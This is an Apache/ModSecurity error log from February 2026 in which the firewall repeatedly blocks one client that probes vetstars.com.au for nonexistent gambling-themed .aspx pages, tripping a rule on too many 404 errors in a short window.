[Tue Feb 10 08:57:15.547438 2026] [:error] [pid 59544:tid 59562] [client 146.59.46.29:34352] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqCa6ZySR9mFY4BailDQwAAAY4"]
[Tue Feb 10 08:57:16.152082 2026] [:error] [pid 59544:tid 59555] [client 146.59.46.29:34364] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqCbKZySR9mFY4BailDRwAAAYc"]
[Tue Feb 10 08:57:16.674333 2026] [:error] [pid 30054:tid 30059] [client 146.59.46.29:34378] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqCbGecgOOXCu-GgYWTZwAAAQM"]
[Tue Feb 10 08:57:17.085080 2026] [:error] [pid 47831:tid 47890] [client 146.59.46.29:34394] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqCbSdxbZYarWVkiACc4wAAAFE"]
[Tue Feb 10 08:57:18.158684 2026] [:error] [pid 59544:tid 59576] [client 146.59.46.29:36736] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqCbqZySR9mFY4BailDUAAAAZg"]
[Tue Feb 10 08:57:18.799181 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:36750] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqCbmLlhBXE3qmX-Jl49QAAAVM"]
[Tue Feb 10 08:57:19.132659 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:36760] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqCb2LlhBXE3qmX-Jl4-QAAAUI"]
[Tue Feb 10 08:57:19.672956 2026] [:error] [pid 47831:tid 47881] [client 146.59.46.29:36772] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqCbydxbZYarWVkiACc5gAAAEg"]
[Tue Feb 10 08:57:20.581707 2026] [:error] [pid 47831:tid 47878] [client 146.59.46.29:36774] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqCcCdxbZYarWVkiACc6AAAAEU"]
[Tue Feb 10 08:57:21.304173 2026] [:error] [pid 47831:tid 47892] [client 146.59.46.29:36780] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqCcSdxbZYarWVkiACc6gAAAFM"]
[Tue Feb 10 08:57:21.772378 2026] [:error] [pid 59407:tid 59416] [client 146.59.46.29:36788] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqCcWLlhBXE3qmX-Jl4_wAAAUc"]
[Tue Feb 10 08:57:22.253273 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:36800] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqCcmLlhBXE3qmX-Jl5AgAAAUs"]
[Tue Feb 10 08:57:23.151687 2026] [:error] [pid 47837:tid 47906] [client 146.59.46.29:36812] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqCc3FY8KYFPX79Z4kvgQAAAIY"]
[Tue Feb 10 08:57:23.722339 2026] [:error] [pid 47937:tid 47963] [client 146.59.46.29:36822] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqCc8pqXpC2CvJ3fOPjGQAAANg"]
[Tue Feb 10 08:57:24.315017 2026] [:error] [pid 47937:tid 47942] [client 146.59.46.29:36828] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqCdMpqXpC2CvJ3fOPjGwAAAMM"]
[Tue Feb 10 08:57:24.832065 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:36830] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqCdGecgOOXCu-GgYWTfAAAARQ"]
[Tue Feb 10 08:57:25.851730 2026] [:error] [pid 47937:tid 47957] [client 146.59.46.29:36838] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqCdcpqXpC2CvJ3fOPjHAAAANI"]
[Tue Feb 10 08:57:26.080056 2026] [:error] [pid 47837:tid 47910] [client 146.59.46.29:36846] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqCdnFY8KYFPX79Z4kvgwAAAIo"]
[Tue Feb 10 08:57:27.072055 2026] [:error] [pid 59544:tid 59551] [client 146.59.46.29:36856] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqCd6ZySR9mFY4BailDXQAAAYM"]
[Tue Feb 10 08:57:27.271615 2026] [:error] [pid 30054:tid 30080] [client 146.59.46.29:36872] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqCd2ecgOOXCu-GgYWTgwAAARg"]
[Tue Feb 10 08:57:28.431718 2026] [:error] [pid 59544:tid 59560] [client 146.59.46.29:45210] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqCeKZySR9mFY4BailDZAAAAYw"]
[Tue Feb 10 08:57:28.839766 2026] [:error] [pid 59544:tid 59557] [client 146.59.46.29:45216] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqCeKZySR9mFY4BailDZwAAAYk"]
[Tue Feb 10 08:57:29.681763 2026] [:error] [pid 59544:tid 59562] [client 146.59.46.29:45220] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqCeaZySR9mFY4BailDagAAAY4"]
[Tue Feb 10 08:57:29.955390 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:45226] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqCeWecgOOXCu-GgYWThQAAARc"]
[Tue Feb 10 08:57:31.091662 2026] [:error] [pid 47830:tid 47850] [client 146.59.46.29:45234] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqCe0co45BZs8e301CEWAAAAAQ"]
[Tue Feb 10 08:57:31.426815 2026] [:error] [pid 47937:tid 47940] [client 146.59.46.29:45242] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqCe8pqXpC2CvJ3fOPjIgAAAME"]
[Tue Feb 10 08:57:32.077011 2026] [:error] [pid 47837:tid 47911] [client 146.59.46.29:45258] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqCfHFY8KYFPX79Z4kvigAAAIs"]
[Tue Feb 10 08:57:32.450626 2026] [:error] [pid 47937:tid 47963] [client 146.59.46.29:45264] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqCfMpqXpC2CvJ3fOPjIwAAANg"]
[Tue Feb 10 08:57:33.671628 2026] [:error] [pid 30054:tid 30072] [client 146.59.46.29:45280] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqCfWecgOOXCu-GgYWTjwAAARA"]
[Tue Feb 10 08:57:33.839287 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:45294] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqCfWecgOOXCu-GgYWTkAAAARc"]
[Tue Feb 10 08:57:34.687279 2026] [:error] [pid 30054:tid 30062] [client 146.59.46.29:45300] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqCfmecgOOXCu-GgYWTlAAAAQY"]
[Tue Feb 10 08:57:34.925273 2026] [:error] [pid 30054:tid 30069] [client 146.59.46.29:45306] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqCfmecgOOXCu-GgYWTlgAAAQ0"]
[Tue Feb 10 08:57:36.480231 2026] [:error] [pid 47837:tid 47921] [client 146.59.46.29:45320] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqCgHFY8KYFPX79Z4kvkwAAAJU"]
[Tue Feb 10 08:57:36.495147 2026] [:error] [pid 47831:tid 47880] [client 146.59.46.29:45328] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqCgCdxbZYarWVkiACc-QAAAEc"]
[Tue Feb 10 08:57:37.235922 2026] [:error] [pid 47830:tid 47861] [client 146.59.46.29:45342] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqCgUco45BZs8e301CEYAAAAA8"]
[Tue Feb 10 08:57:37.424707 2026] [:error] [pid 59544:tid 59550] [client 146.59.46.29:45358] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqCgaZySR9mFY4BailDcAAAAYI"]
[Tue Feb 10 08:57:39.059866 2026] [:error] [pid 59407:tid 59409] [client 146.59.46.29:42970] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqCg2LlhBXE3qmX-Jl5EwAAAUA"]
[Tue Feb 10 08:57:39.167560 2026] [:error] [pid 47837:tid 47914] [client 146.59.46.29:42986] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqCg3FY8KYFPX79Z4kvmAAAAI4"]
[Tue Feb 10 08:57:40.168396 2026] [:error] [pid 30054:tid 30062] [client 146.59.46.29:43002] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqChGecgOOXCu-GgYWTowAAAQY"]
[Tue Feb 10 08:57:40.169986 2026] [:error] [pid 59407:tid 59410] [client 146.59.46.29:43014] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqChGLlhBXE3qmX-Jl5FwAAAUE"]
[Tue Feb 10 08:57:41.602033 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:43030] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqChWLlhBXE3qmX-Jl5GgAAAUs"]
[Tue Feb 10 08:57:41.844899 2026] [:error] [pid 59407:tid 59414] [client 146.59.46.29:43032] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqChWLlhBXE3qmX-Jl5HAAAAUU"]
[Tue Feb 10 08:57:42.771046 2026] [:error] [pid 30054:tid 30060] [client 146.59.46.29:43048] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqChmecgOOXCu-GgYWTqAAAAQQ"]
[Tue Feb 10 08:57:42.878782 2026] [:error] [pid 47831:tid 47894] [client 146.59.46.29:43054] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqChidxbZYarWVkiACdCAAAAFU"]
[Tue Feb 10 08:57:44.170772 2026] [:error] [pid 47830:tid 47852] [client 146.59.46.29:43062] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqCiEco45BZs8e301CEZgAAAAY"]
[Tue Feb 10 08:57:44.401583 2026] [:error] [pid 59407:tid 59429] [client 146.59.46.29:43072] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqCiGLlhBXE3qmX-Jl5HwAAAVQ"]
[Tue Feb 10 08:57:45.349740 2026] [:error] [pid 47837:tid 47922] [client 146.59.46.29:43078] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqCiXFY8KYFPX79Z4kvngAAAJY"]
[Tue Feb 10 08:57:45.467029 2026] [:error] [pid 59544:tid 59554] [client 146.59.46.29:43090] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqCiaZySR9mFY4BailDfgAAAYY"]
[Tue Feb 10 08:57:46.679410 2026] [:error] [pid 47837:tid 47913] [client 146.59.46.29:43106] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqCinFY8KYFPX79Z4kvoQAAAI0"]
[Tue Feb 10 08:57:46.883362 2026] [:error] [pid 47837:tid 47906] [client 146.59.46.29:43118] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqCinFY8KYFPX79Z4kvowAAAIY"]
[Tue Feb 10 08:57:48.023183 2026] [:error] [pid 47830:tid 47861] [client 146.59.46.29:43132] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqCjEco45BZs8e301CEawAAAA8"]
[Tue Feb 10 08:57:48.145829 2026] [:error] [pid 47830:tid 47869] [client 146.59.46.29:43144] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqCjEco45BZs8e301CEbAAAABc"]
[Tue Feb 10 08:57:49.215952 2026] [:error] [pid 59544:tid 59574] [client 146.59.46.29:52400] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqCjaZySR9mFY4BailDhgAAAZY"]
[Tue Feb 10 08:57:49.489989 2026] [:error] [pid 59544:tid 59557] [client 146.59.46.29:52402] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqCjaZySR9mFY4BailDiAAAAYk"]
[Tue Feb 10 08:57:50.810407 2026] [:error] [pid 47831:tid 47890] [client 146.59.46.29:52414] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqCjidxbZYarWVkiACdCwAAAFE"]
